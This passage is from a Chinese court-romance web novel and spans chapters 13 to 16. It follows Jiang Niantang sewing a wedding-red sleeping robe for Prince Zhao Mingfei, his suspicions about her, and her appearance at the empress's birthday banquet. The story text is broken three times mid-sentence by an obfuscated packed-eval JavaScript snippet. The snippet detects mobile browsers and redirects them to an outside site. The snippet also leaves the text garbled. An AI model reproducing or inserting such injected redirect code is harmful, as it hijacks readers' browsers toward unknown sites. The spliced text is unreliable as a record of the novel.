赵明斐照例在看完严珩一送来的信后点燃,本来已被风吹灭的宫纱灯瞬间爆发出刺眼的光,照出他面无表情的脸。 一页薄薄的纸上仅有四字。 火光转瞬又黯了下去,一切顺利化作灰烬落在灯台之下。 赵明斐负手而立缓行踱步至窗前,面容沉冷,在心中默数日子。 三日后,他就要拿回原本属于他的一切。 视线不自觉往云梦阁方向偏,只见远处灯火通明,赵明斐朝左思道:“第几日了?” 左思回:“第三日了。大皇子妃对给您做衣裳一事极为上心,这几日除却用膳就是在制衣,一针一线都亲自动手绝不假手于人,听下面人说每每都要忙到深夜才安置,翌日天不亮又起身继续。” 赵明斐的目光重新看向远方的孤点,冷色稍霁。 此刻正是子时,天地混沌,树静风止。 唯一的光为他而亮。 赵明斐心神一动,吩咐左思:“夜深了,给大皇子妃送些吃食,告诉她早些安置,不急于一时。” 想起江念棠每日用膳都不离口的甜点,他补充道:“将宫里叫得上名的点心都给她来一份,看看她最爱吃什么。” 左思惊诧了下,随后应声而去。 灯台的烛芯亮了暗,暗了又亮,蜡泪簌簌而落,又在铜台重新凝聚出大片的白。 没有人逼江念棠日以继夜地做衣裳,是她自己在看见赵明斐的尺寸后忍不住拿起针线缝制,好像每落下一针,她无法宣之于口的思念就有了寄托。 从前在江府时,她不敢给顾焱做衣服,目标太大,容易被有心人发现,最多做些云袜,香囊之类的小物件偷偷带给他。 但江念棠对顾焱每一年的身量变化了如指掌,替他量好尺寸写下纸条后,让他自个儿去裁缝铺找人定制。 大虞虽在赵明斐的主张下笼络人才遵循“英雄不问出处”,但俗话说得好,佛是金装,人是衣装,衣冠严整,礼仪端正总是会让人心生好感,另眼相看几分。 江念棠虽是庶女,但在江府这偌大门第的浸淫下,也知官场上讲究“先敬罗衣后敬人”,为了不让顾焱在仪容仪表上出错,她花了大功夫教导纠正他的陋习。 顾焱也不负她的良苦用心,日日背墙顶书而立纠正站姿,反复训练步、趋、走、奔各式不同仪态,积年累月终于将立似青莲,行若云鹤,坐如剑脊刻入骨髓,成为一位偏偏少年郎。 任谁见到他的第一眼都想不到他是个长于乡野,无父无母的孤儿。 赵明斐不仅仅是笑的时候像顾焱,江念棠在他的举止仪态中都能窥见一丝顾焱的影子。 不,更准确地说他身上的持重华贵浑然天成,顾焱则像是个模仿他的初学者。 但以顾焱的出身能有赵明斐的三分气质风骨已是极限。 他的努力,他的成长,江念棠都一点一点了然于心。 叫她如何意能平? 左思提着三层楠木方形食樏在外求见时,江念棠一分神,手指被扎了下,瞬间沁出一滴鲜血。 她微拧着眉,熟练地指尖含在嘴里,待那股灼人刺痛感稍微缓和后忙请人进来。 左思躬着身,添油加醋地传达赵明斐的关怀:“殿下心疼大皇子妃,特地让奴才带了您爱的吃食过来,又嘱咐您不可过度劳累,小心伤着眼。” 边说着,边亲自将各式糕点摆放在屏风前的八仙桌上,香甜气儿瞬时弥漫整个厢房。 江念棠闻言笑了笑:“替我谢过殿下,做完这只袖口便歇下。” 她放下手中针线,下榻趿拉着绣鞋走过去,匆匆扫了眼桌上琳琅满目的吃食,先扯下腰间的荷包送到左思手上,“劳烦公公这么晚来还跑一趟,我心难安,这点子心意请您务必收下。” 左思笑着推拒:“不麻烦,这是奴才的荣幸,说不准奴才日后还要仰仗您的庇佑。” 江念棠越听越奇怪,她一介庶女,既无显赫的母族,又无得用的兄弟,哪有资格庇佑别人。再者说,她现在命悬一线,说不得皇帝哪天下令她要与赵明斐共赴黄泉,日后还有多久也说不准。 她夙夜不懈的做衣裳,也是希望在殒命前能给赵明斐穿上,圆她一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405080|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦。 左思完全不知道江念棠心中所想,他跟了赵明斐多年,头一遭见他对一个女人这么上心,言语心态早已不复从前轻慢。 左思来的快,去的也快,江念棠放下手里沉甸甸的荷包,视线重新落在目不暇接的吃食上。 偌大的圆桌摆满色香味俱佳的点心,樱桃煎,凤栖梨,酥皮糕点,核桃凉糕,宝阶糕,酒酿汤圆……五彩斑斓,精致悦目。 江念棠拈起一块热腾腾的菱形糖糕放进嘴里,拇指大的蜜枣侵入味蕾,甜腻齁人。 热气氤氲,模糊了视线。 她其实不爱吃甜食呀。 屋外传来鸟雀觅早食之声时,江念棠仍在制衣,困倦麻木掉她的痛觉,细长的银针再刺入软肉中,她连眉头都不皱一下,终于在宫人送早膳前完成了这件寝衣。 赵明斐与她用过早膳后被拉进隔壁厢房,屋内被人提前打扫过,梅瓶插了院中栽种的木樨花,初秋的花香味清淡,沁人心脾。 “殿下试试大小。”江念棠兴冲冲取来鲜红色交领样式的寝衣双手奉上。 赵明斐看着过于耀眼的绸布面不改色接过,径直去屏风后更衣。 江念棠透过薄透的丝绢,隐约能看见颀长的身影,察觉到自己的偷窥行径,她登时红了脸转过身去,暗骂自己轻浮。 静谧的厢房内,窸窸窣窣的声响宛如在耳边难以忽视,不断提醒她赵明斐就要穿上那件新衣。 大虞的寝衣以素色为主,唯有大婚时图喜庆,会从里到外一身红,包括寝衣,小衣,亵裤,云袜…… 江念棠嫁给赵明斐时太过匆忙,这些细枝末节的东西没人在意,她自己犹在悲痛中,也没有心思准备。 但如今,她想看一眼他穿上的样子。 赵明斐动作利索,半盏茶的工夫便走了出来。 江念棠的注意力除了眼睛都集中在身后,在他绕过屏风后落下的第一个脚步声时,她迫不及待转过头。 只一眼,便再无法移开目光,身体僵硬如同被什么包裹住般难以行动。 鹅冠红像耀眼的焰,灼伤江念棠的眼,她几乎控制不住噙在眼角的泪。 厢房的槅扇窗朝外侧敞开,初阳从天空倾泻进来,洒满赵明斐全身,细碎的浮尘悬于空中泛着金灿灿的光,恰好挡住他锋刃般的薄唇。 江念棠的视线里只剩下那双比光还亮的眼。 世上两个毫无血缘关系,地位千差万别的人竟然会如此相像! 赵明斐刚走出里间厢房,一抬眼就见对面之人眼眶微红,雪色面容因激动透着浓浓的胭脂色,震惊中带了几分呆愣的迷茫,不由失笑:“我穿上很奇怪吗?” 他温润和煦的声音宛如一道惊雷,劈开江念棠的禁锢。她来不及等赵明斐向她缓步走来,更无法顾忌自己此刻异样的神情是否会被发现,提裙奔向他。 赵明斐的胸口猛地一下被她撞上来,他下意识想将人推开,手却在触碰到柔软的身体前一刻改为安抚性地拍拍她的肩。 江念棠先是一僵,而后用细弱的双臂紧紧搂住他的腰,头埋在宽阔炙热胸前,肩膀上下起伏颤抖着。 她好想他,好想好想。 逐日积累如渊的思念在这一刻得到释放,像倾盆的雨,开闸的洪,势不可当。 赵明斐对她突如其来的热情不明所以,正待询问一番,发现怀里的人居然因情绪过于激动晕了过去。 14. 第 14 章 赵明斐将晕在怀里的人打横抱起,轻放在榻上。 江念棠双眼睛紧闭,黑睫濡湿一片,大片的泪迹覆满双颊,看上去伤心至极。 赵明斐眼眸黑沉,一动不动凝视着梨花带雨的睡容,心中疑云丛生。 江念棠今日的举动实在太反常,她看他的眼神过于专注热烈,让赵明斐有种不真实感。 她在看他,又好像不在看他。 细细数来,赵明斐有这种怪异的感觉不是第一次,最初能追溯到大婚当夜。 当时他进去前在屋外观察了片刻,江念棠端坐于床榻边,背脊挺直,并没有因屋内无人而颓懒放纵。 他对她的第一印象是耐得住性子,态度不卑不亢,让人挑不出错。然而在看到他的脸时,她却不同寻常地分寸大乱,导致掉落手中的团扇,几次都未捡起。 最后她以怕黑为由搪塞过去。 彼时赵明斐压根不在乎她的想法,甚至不确定会让她活到几时,对于这种小事自然懒得深究。 第二次有同样的古怪感是在教她作画,江念棠既能画好人物外形,却偏偏不肯画脸…… 赵明斐眉头紧皱,陷入沉思。 流光锦柔软贴肤,胸前布料被泪水晕开后勾勒出遒劲有力的肌肉线条,平添几分渗人的压迫感。 衣服虽然没有任何绣纹,但针脚细密,两块布料拼接之处采用的是一种极为复杂的藏线针法,针线交替穿过两块布料,缝合之后看不出明显的线迹,能够避免线头磨到肌肤。 与之对应的则是需要耗费大量的时间精力,就这样一件简单的寝衣一个熟练的绣娘也需要七日方能制好,而江念棠只用了三日。 赵明斐瞥见她眼底淡淡的青黑,几不可察地叹了口气。 罢了,等她醒来再做决断。 希望是他太多疑。 江念棠刚恢复意识,整个人迷迷糊糊的,深呼吸半晌才勉力掀开眼帘。 帐顶看不清颜色,但她仍然第一眼认出这里不是自己的厢房,屋内晦暗不明,右前方隐约有一点光亮。 江念棠的视线寻光而去,临窗案几上燃了一盏烛芯微露的宫纱灯,赵明斐坐在旁边的太师椅上,右手肘撑在扶手上,正以手支额闭目养神。 微弱的光晕刚好笼住他的上半身,照在他重新换回早上穿的月牙白圆领长袍上,他身后四周皆是黑黢黢一片,有种光即将被暗吞噬的压抑窒息。 江念棠艰难眨了眨眼,这一觉从青天白日睡到月上中天,现下四肢酸痛,浑身疲乏无力,思绪僵住无法思考。 整个人像是做了场虚空大梦般茫然,如今回到现实,好半天才回过神,江念棠扶着床檐挣扎起身,手指刚按在硬质的梨花木,钻心的疼瞬间让她颓然跌了回去。 她一有动静,赵明斐立刻睁眼。 他眼神清明,毫无刚睡醒时的惺忪懒态。 “醒了。”赵明斐起身快步趋至床榻前,顺势坐上来,体贴拿过一旁的海棠团花迎枕垫在江念棠身后,语气略有责怪:“太医说你劳累过度,精神不济。我不是叫人告诉你不用这么赶吗?” 江念棠垂下眸,声若蚊蝇道歉:“劳殿下忧心,是我的错。” 赵明斐的手攫住小巧光洁下颌,迫使她抬头,他面容和煦,目光却带着令人悚然的审视。 “你我之间,何须这般客气。”略带薄茧的拇指按在江念棠泪痕残留的眼尾,不轻不重地摩挲着,指尖温热有力,透着安抚之意。“早上怎地哭成那般模样,是有人给你受委屈了?” 然而江念棠的心毫无被抚慰之感,只觉得这手似扼住自己的咽喉,令她喘不上气。 她的心骤然一紧,就算她早已预料到自个儿怪异的举动会引起注意,赵明斐会问她不足为奇,但真正被质问的瞬间还是忍不住惊慌起来。 他语气温和,神情煦然,担忧之色显而易见,然而江念棠心里的惶然不减反增,甚至有种心惊肉跳之感。 赵明斐有没有发现她恶劣卑鄙的私心? 一想到这种可能,江念棠不知不觉屏住呼吸,身体僵直一动也不敢动,束在胸前的绫布勒得胸口疼。 殊不知她的慌乱无措全数落入对面人眼中。 赵明斐眼眸半眯,脸色却愈发柔和,他语气开玩笑似的问:“难不成是因为给我做衣服,累得委屈了?” 唇角扯出一条微微上扬的弧度,细究眼里却没有半点笑意。 其实江念棠完全可以顺着他的话说下去,说自己被针扎疼了。 为了赶制这件寝衣,她的十个手指不知被扎了多少次,最疼的时候连筷子都握不住,只能以瓷勺进膳。 赵明斐宽厚温良,温柔体贴,若是她装可怜一定不会被追根究底,他说不准还要反过来自责。 然而江念棠实在说不出口,打着为他制衣的幌子已经够卑劣,叫她如何还能把这份辛苦算在他的头上,冒领功绩。 “我……”甫一开口,她便感受到捏住下颌手指倏地收紧。 江念棠强忍着胸口不适道:“我见到殿下穿上这身衣服,心里欢喜。说来让您见笑,从前我在闺中时,也曾想过日后会嫁一位怎样的夫郎,大婚又会是如何喜庆,亲朋好友夹道相送,手帕姐妹添妆送福。可惜婚礼匆忙,喜服盖头没来得及亲自准备,现在只能用寝衣替代一二。“ 大虞的新娘会亲手在这两样东西上缝制图案,有手巧的还会帮新郎的吉服也添一份力,寓意不分你我,情谊久长。 更有感情深厚的,便是连贴身衣服都会亲自缝制,以示亲密无间。 江念棠的母亲有一双巧手,绣艺无双。母亲家曾是南边的丝绸大户,从小请了最好的绣娘教导技艺,但凡叫得出来名号的针法都娴熟于心,追求者如过江之鲫。 若不是后来家道中落,她也不会被人送到江家做妾。 她从小跟在母亲身边学习,在最艰难的日子里,她们娘俩靠着这手绣活儿夹缝求生。 赵明斐黑眸如渊,手指纹丝不动:"这么紧张做什么,我不过随便问问。” 江念棠可不敢随便回答,她顶着巨大的心理压力直视他的眼睛,七分真三分假:“我好像也不能免俗,别的新娘有的东西,我都想要。” 赵明斐见她眼中的黯然不似作伪,心中对这番说辞信了几分。 大婚对于女子来说是一生中最重要的事,没有人不希望自己的婚仪风光浩荡。 赵明斐手指微松:“是我对不住你。” 江念棠登时抓住他的手,猛地摇头:“不,能嫁给殿下,是我最大的幸运。” 庆幸能有机会见到这双眼睛,还可以让眼睛的主人穿上她制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405081|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的衣。 江念棠双眸如蕴秋水,情难自抑地盯着他,忽地莞尔一笑:“别人家郎君有的,你也要有。” 赵明斐的指尖骤然绷紧,胸膛里似乎有什么东西不受控制地要冲出来。 他垂下眸,强行压制那股呼之欲出的失控,视线里出现一只白壁般的手,看似瘦弱的柔荑紧紧攥住他的手腕。 赵明斐从未有一刻感受过被如此坚定的选择。 他眼眸微弯,唇边漫开笑意,另一只替她拾起鬓边掉落的一缕碎发,轻声却郑重承诺:“你也是。” 别人有的,江念棠会有。 别人没有的,江念棠也会有。 她这样坚定不移爱着他,他多偏袒几分也没什么不可以。 赵明斐反手抚上江念棠的手背,将她一根一根手指轻轻掰开,原本应白壁无暇的指腹中间多了一团红晕。 都是针留下的痕迹。 江念棠的指头被厚实炙热的手掌包裹着,略微刺痛,她不自在想抽出来,却遭到更为紧致的禁锢。 “以后不要做这些针线活了。“赵明斐浅浅揉搓着粉嫩的指头,压下眼皮遮住噬人的墨色,“我得你一身寝衣足矣。” 他叫人送来一盒药,乳白色的膏体被小心翼翼涂抹在十个指腹,冰冰凉凉的,登时缓解难耐的痛痒。 两人一同用过晚膳,赵明斐回去前叮嘱江念棠好好休息,按时擦药,任谁看到都要羡慕她得了一位温润如玉的好夫君。 然而在晚间沐浴时,江念棠褪下衣裙,心情沉重地摸着束胸带上若有似无的湿意。 今日某些时候的赵明斐,着实让她有些害怕。 另一厢,赵明斐虽然暂时信了江念棠的说辞,却更相信自己的调查。 “关于江念棠在江府的消息悉数呈上,另外去查一下她平日里在江府交好的姐妹,还有结仇的。” —— 皇后寿宴当日清晨,赵明斐一早过来等着她用膳。 他示意左思给江念棠再盛一碗粳米粥,缓声道:“宫宴上的都是冷菜凉汤,用了难受,你尽量少碰。” 江念棠笑道:“我总不能一天都不吃东西。” 皇后整寿,皇帝为彰显对发妻的鹣鲽情深,同时也为了稳住她身后的江家,举国同庆,朝臣皆来朝贺。 中午有小宴,女眷和外臣分用,晚上是大宴,共同为皇后庆贺,江念棠要去整整一天。 赵明斐夹起一个桃花酥放到她的碗中,漫不经心道:“我等你一起用晚膳。” “那可使不得。”江念棠估摸回来已是深夜,他难不成要一直饿着肚子,忙道:“殿下今日已经陪我用了一餐,不算失言。” 赵明斐是个一诺千金的君子,答应陪她用膳便日日按时来云梦阁。哪怕他最近忙得神龙见首不见尾,也要抽空与她至少用上一顿,往往来也匆匆,去也匆匆。 他闻言意味深长地笑了下,“听话。” 语气不容置疑,带着命令的口吻。 江念棠临走前左思塞了个东西到她手里,等上马车后打开一看,里面是几块风干的牛肉。 赵明斐站在烟波洲二楼眺望皇宫方向,脸上早已不复面对江念棠时的温和,取而代之的是一片沉冷肃杀。 “传令给御膳房,今晚上记得准备她爱吃的点心。” 15. 第 15 章 江念棠从马车上下来那一刻,周围人的目光瞬间集中在她身上,有好奇的,有可怜的,还有嫉妒中掺杂着幸灾乐祸的,她一概视而不见。 一路走来,没有一个人敢上前搭话,看她宛如洪水猛兽般敬而远之。 引路的小太监更是缩紧脖子压低头,唇角跟粘住似的一个劲往前赶路,惶然的模样生怕和江念棠牵扯上一丝关系。 宫内上下谁人不知大皇子已遭厌弃,从前在东宫服侍他的太监宫女不是无故死了,就是被罚到偏远的浣衣局做苦力、亦或者做那最下贱肮脏的夜香郎。 虽然陛下还未下旨问罪,可明眼人心里都明白,这层窗户纸就差那么一下便要被戳破,现在大皇子就是个烫手山芋,谁碰谁遭殃。 江念棠面对冷遇与疏远不卑不亢,自个儿抱住装好的贺礼跟在后面,除了赵明斐的画,她仍是拿了那顶点翠掩鬓当作添头。 画这种东西,既可以说礼轻情意重,也可以说敷衍不重视,现下赵明斐不得圣心,评判的话语权在别人手里,而手里的顶点翠掩能为他上一道保险。 她自己这辈子没机会再用,留着只能徒增伤感,不如做个顺手人情送出去。 小太监急急把她引到内苑宫门,头也不回地跑了。 江念棠虽担了大皇子妃的名头,却是圈禁之人,西巷口只有她一人能出来,身边没有伺候的宫女,眼下孤身一人犯了难。 她从没进过宫,眼前的路弯弯绕绕,曲径错落看不出通往何方,同行的女眷们选的路各不相同,似乎她们的归处也不是同一个。 “沿最右侧的路走,午宴的地点就在那。” 江念棠闻声转头,一貌美妇人云鬓高挽,正慈眉善目看着她。 “谢夫人指点。”江念棠感受到她的善意,后退一步福了个身。 貌美妇人笑意更甚,看见她手里抱着沉甸甸的东西,示意贴身婢女帮她拿,江念棠正要推拒,迎面走来一清秀宫女。 “奴婢右想见过恭王妃,大皇子妃。”她想接过江念棠怀中之物被拒,面不改色道:“我是您今日的接引宫婢,方才有事耽搁了一会儿,请您恕罪。” 听到这个名字,江念棠怔愣片刻,赵明斐身边的贴身太监叫左思。 恭王妃立刻替她解惑:“她之前是东宫大宫女,由她接引你再好不过。” 江念棠的手依旧没松。 恭王妃看出她还是有些紧张,向她投去安抚的目光,转头对右想道:“既如此,那就交给你了,有什么棘手的事可去寻我。” 最后那句话是看着江念棠说的,江念棠心口微暖,颔首微笑以示感谢。 等人走远后,右想上前一步低声道:“大皇子妃这边请,午宴还未开始,奴婢带您先去歇息。” 江念棠站着没动,温和的表情中带着冷淡疏离。 她人生地不熟,眼前的人虽然被那位称之为恭王妃的贵妇人盖棺定论是赵明斐身边的人,可这不代表她会全信。 深宫复杂,谁也不知道这是不是她们自导自演的一出戏,青梅的事让她不得不多虑,尤其是在皇宫,稍有不慎便危在旦夕。 她虽没有本事让赵明斐洗刷罪名,却也不能成为别人对付他的借口。 右想见江念棠警惕的眼神,既欣赏她的谨慎,又敬佩殿下的料事如神,趁人不注意往江念棠手里塞了个纸条。 跟她走。 江念棠认出是赵明斐的笔迹,心里震惊他居然能对外传消息,要知道陛下派了重兵镇守西巷口,任何人进出都得层层检查,就算是一片枯叶也甭想跨过那道大门。 然而她脸上看不出表情,将手里的东西递过去给右想,随后闭口不言跟她往里走。 话分两头,作为江皇后的亲侄女,江盈丹一早就先到中宫去给姑姑祝寿,她嘴甜,各种好话往外说,惹得皇后笑不拢嘴。 “你一大早又是给本宫梳妆,又是伺候早膳,小嘴跟灌了蜜似的。说罢,只要要求不过分,本宫一概应允。” “姑姑对我最好了!”江盈丹眼里精光一闪:“听说今日有不少贵女为博您一笑准备了节目,大皇子妃作为儿媳,也该彩衣娱亲,以表孝心。” 江念棠跟在她身边多年,肚子里有什么货她一清二楚。江府的小姐除了她精通琴棋书画,其余庶女们只请了落榜秀才教认字。 江夫人怕她们学的多,心变大,不好控制,三令五申不允许她们读除了《女诫》、《女训》一类的书,最多学学女红,点心之类的技巧。 江念棠有个常年病重的生母,她比旁人多通晓几分药理和揉捏之术,但她总不能当场表演伺候人的本事吧。 江皇后笑意淡了下去:“丹儿,现在正是多事之秋,你何苦沾染他的事。江念棠到底算我江家人,她出丑对你有什么好处。” 赵明斐在江皇后跟前养了二十余年,她提起来时没有半分情感,眼里满是厌恶鄙夷。 江盈丹却不放弃,她被那四个字折磨夜不能寐,几欲发狂。她现在只想向赵明斐证明江念棠是个一无是处的草包,无貌无才,根本不值得他喜欢。 “姑姑,你就答应我吧。”江盈丹拉着江皇后的手,撒娇道:“我回去后保证不再闹了,乖乖嫁给五皇子。” 江家放弃赵明斐,转而扶持另外的皇子。但五皇子肥头大耳,脑袋比肚子还空,又是个好色之徒,房里无名无分的宫婢一大堆,还未加冠已然透出老态。 原本江盈丹还能说服自己,至少她还有未来皇后的尊荣,然而那日见到清隽俊朗,风采依旧的赵明斐后,她再次失衡。 心里埋怨江皇后放弃赵明斐,她明明可以有这样一个文武双全,温润如玉的夫君。 江皇后既然能靠江家稳坐皇后之位,怎么就不相信她也能制衡赵明斐。 她不死心地问:“姑姑,难道大皇子真的没有翻身的机会了吗?” 江皇后恨铁不成钢地看着自个儿侄女,若不是江家没有适龄的嫡出女儿,哪里轮得上她。多年悉心教导全都进到狗肚子里,被赵明斐一张脸勾得五迷三道,什么话都敢往外说,险些酿成大祸。 她也不想想,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405082|168733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇帝都不得不兵行险着打压他,可见对他忌惮之深。 为了防止赵明斐策反,看守西巷口的将领特地选了严珩一过命的兄弟。 江皇后想到自己暗中放进东宫的人全折了还不知情,心里一阵后怕。 赵明斐是个养不熟的白眼狼,像一只潜伏在暗处的毒蛇,等待时机一击致命,江盈丹还妄想掌控他,简直不自量力。 江皇后毫不留情打破她的幻想:“收起你的小心思,今日给我老实点,否则我现在就把你撵出宫去。” 午宴设在御花园,因仅有女眷参加,贵女们少了拘束,话头便多了起来。 江念棠这个生面孔一进来,园内的喧嚣声微微一滞,再度引起众人侧目。 她今日原本想选择素青色的衣裳低调些,但赵明斐却告诉她宫里这些都是人精儿,一惯是挑软柿子捏,她表现得越不想惹事,事越找上她。 恰逢新衣做好送过来,他亲自替她挑了一身。 丹枫红的皇妃品级吉服威严庄重,恰好弥补她纤细身躯带来的羸弱感。艳色衬得她肤光胜雪,眉目如画,端庄中带着清丽,娇艳又不失矜持,像是画中的倾色仙子活过来。 有人见她气质不凡向旁人打听,得知江念棠的身份后眼里闪烁着异样的震惊。 难道赵明斐还有翻身的机会?否则她作为废太子的正妻,脸上怎么没有一点惊慌愁色。 那些曾经因赵明斐而元气大伤,有龃龉的世家夫人也收起轻视的眼神,讽刺的话也吞进嘴里。 除了江盈丹。 她眼里的嫉恨几乎凝为实质,化为利刃刺向江念棠。 从前在江府,江念棠瘦瘦弱弱的,整日穿缟素衣裳,梳着厚重的头帘挡住半张脸,说话做事也总是躬身低头,非常容易被忽略。 而今日她露出光洁的额头,眼眸如含秋水般潋滟,眼波轻轻一转,便教人无端心生怜意。 一想到她整日顶着这张故作犹怜的面孔在赵明斐面前晃荡,勾得他说出那样的话,江盈丹气不打一处来,完全忘记江皇后的警告。 江念棠面对诸多神色各异的目光镇定自若,稳步走向自己的位置。 她今日的任务是平平安安地度过寿宴。 这场小宴除了贺寿,还有替适龄皇子相看正妃的用意。 是以诸位贵女铆足了劲想攀上皇家登云梯,变着法在皇后和皇子生母面前展现自己的才艺与德容。 江念棠作为人妇,与其余宫妃,诰命夫人坐在上列,恭王妃恰好在她对面。 她面容淡雅如菊,不苟言笑,有种鹤立鸡群的孤傲。 金钗步摇,华服厚裳也压不住她身上的清丽脱俗,眉宇间透出一股书卷的清气。 偶然间撞上江念棠的视线,莞尔一笑,犹如清水芙蓉般纯然。 江念棠从右想嘴里得知,恭王一家与赵明斐渊源颇深,他的丹青妙手是恭王妃亲自教出来的,他的武艺剑术得了恭王真传。 恭王一家对赵明斐另眼相待,据说是因为他长得很像恭王夫妇早夭的长子。 16. 第 16 章 宴会进入到中场,气氛逐渐热络起来,花枝招展的女眷们各显神通,博人眼球。 江念棠眼观鼻,鼻观心地默默看着眼前的一亩三分地,面对案几上各色琳琳的美味佳肴兴致寥寥。 午膳前她被右想单独带到一间厢房,拿出左思给的牛肉干。 牛肉用辛辣的大料熬制后风干,遇水尤为饱腹,她吃了好几块,眼下一点也不饿,说不准真能撑到回西巷口陪赵明斐用夜宵。 江念棠像个哑巴泥塑似的端坐着,极力降低自己存在感,但赵明斐妻子这层身份实在惹人注目,落在她身上打量的目光从未断绝。 然而到底没人敢上前挑衅找茬,一场宴会风平浪静地度过。 午宴到晚宴这段时间,宫里给安排休息的地方,江念棠正要回房,恭王妃派人来请。 “来了。”恭王妃见到江念棠,和蔼可亲地招手:“过来坐。” 江念棠在宫内举目无亲,恭王妃是右想认证过的可信之人,她这般热情和煦着实安抚了江念棠忐忑的心。 恭王妃打听赵明斐近况如何,江念棠捡了一两件有趣的事儿说,逗得恭王妃笑容满面,眉宇间淡淡的忧愁都散了不少。 一来二去,两人熟稔起来,恭王妃拉着江念棠的手夸道:“你的手真漂亮,陪他在西巷口受苦了。” 江念棠轻笑道:“殿下人很好,怎能说得上是受苦,多少人连羡慕我都还来不及。” 恭王妃虽不耐与人勾心斗角,但看人的眼光精准无比,江念棠说的话是真心还是假意逃不过她的眼睛,察觉出她待赵明斐的一片真心后笑容更甚。 她意味深长道:“你是个好孩子,福气在后头。” 江念棠笑笑,“借王妃吉言。” 恭王妃看着面如桃花,姿容娇俏的美人,忽然叹道:“若是本宫的昭儿还活着,如今也该到了娶妻生子的年纪。” 江念棠握住恭王妃的手,温柔笑道:“王妃此言差矣,世子说不准已然娇妻幼子在侧,只不过在您不知道的地方罢了。” “你这孩子,真会安慰人。”恭王妃那点愁绪还没升起便被她打散。 她笑着闲聊起来:“若不是明斐的嘴和李贵嫔一模一样,我都要怀疑是不是有人偷龙转凤。你说怪也不怪,打我看到他的一眼就格外喜欢他,简直跟自己亲儿子没什么区别……” 世上再没有人比江念棠更懂恭王妃对赵明斐毫无理由的偏爱。 有一个长得像自己心尖上的人站在面前,如何能忍得住不接近他。 恭王夫妇偏疼赵明斐,大抵和她一样是补偿心理,逝去的人未能享受到的东西,尽数弥补在替代之人身上,企图从他身上找寻一丝虚无缥缈的慰藉。 恭王妃打心眼里喜欢江念棠,看似柔弱不堪实则谨慎心细,从今早上的碰面就能看出她并非蠢笨之人。 “等有机会带你见见王爷。”恭王妃感叹道:“我的幺儿倒是一点不像他父亲,反倒是他们叔侄俩站一起没人会怀疑他们不是亲父子。” 江念棠打趣道:“这也是缘分。” “可不是。”恭王妃道:“明斐和你一样是个好孩子,只不过……” 恭王妃脸色渐冷,后面的话骤然止住。 江念棠懂事当作没听见。 陪着恭王妃聊天的工夫,转眼屋外的天蒙上一层灰色。 晚宴本应该是皇帝与皇后一同出席,临开宴前,皇帝派人来传话说有事耽搁,让皇后先奏乐开席,他晚些时候到。 皇后闻言脸色扭曲了下,很快又恢复端庄矜贵的浅笑。 一切暗潮涌动埋藏在歌舞升平之下。 江盈丹起初碍于江皇后的威慑不敢造次,在看见江念棠一身皇子妃礼服后已有隐隐压不住的趋势,而压倒她的最后一根稻草是旁边人无意的一句话。 “这位名不见经传的江府二小姐容貌一点也不比江大小姐差,清丽妩媚,楚楚动人,和大皇子也算相配。” 哪里配! 一个穿上锦缎华服的草包,也敢妄与赵明斐这般云端明月比肩,实在是自不量力。 江盈丹攥紧手中锦帕,看向江念棠的眼神如同猝了毒般阴寒。 在场上宫婢们献舞一首后,江盈丹猛地起身,一下子引起众人的注意。 她语出惊人:“皇后大寿,普天同庆,大皇子自小养在您身边却无法亲自来给您贺寿,大皇子妃身为您的媳妇儿,不如表演一番以表孝心。” 在场的人同时屏住呼吸,目光不约而同地在江念棠、江盈丹和皇后三方身上逡巡,既好奇又幸灾乐祸。 皇后的笑淡了下去:“大皇子妃送的礼物极为用心,本宫很满意。” 江盈丹胸口一窒,气恼连姑姑都帮江念棠,不依不饶道:“物是死的,哪里比得上亲自献艺。诸位小姐们都做的,怎地她做不得?” 江夫人去拉江盈丹,被她甩开。 江皇后脸上已经完全没有笑容,眼里透着不耐烦,恨不得当场叫人拖她出去。 江念棠自然不会接话,她只是个微不足道的小人物,头愈发低垂。 江盈丹却把她的息事宁人当成心虚畏惧,愈发肯定只要江念棠一站出来,就会原形毕露。 “从前在江府,妹妹惯会讨喜卖乖,怎么现在跟哑巴一样。”江盈丹故意以姐妹相称:“难不成现在成了大皇子妃,不愿意纡尊降贵,博皇后娘娘一笑。” 这般直白冲着江念棠来,她不得不回应。 然而恭王妃率先发难:“江小姐,这里是皇宫,不是你的江府。皇后娘娘疼爱你,不以殿前失仪治你的罪,你不但不知感恩,还三番五次出言不逊。大皇子妃是上了玉碟的皇室宗妇,排辈论资你见到她该称一声娘娘,你如何敢质问于她!” 说罢一拍桌子,出尘的容貌染上三分寒意,惊得所有人目瞪口呆。 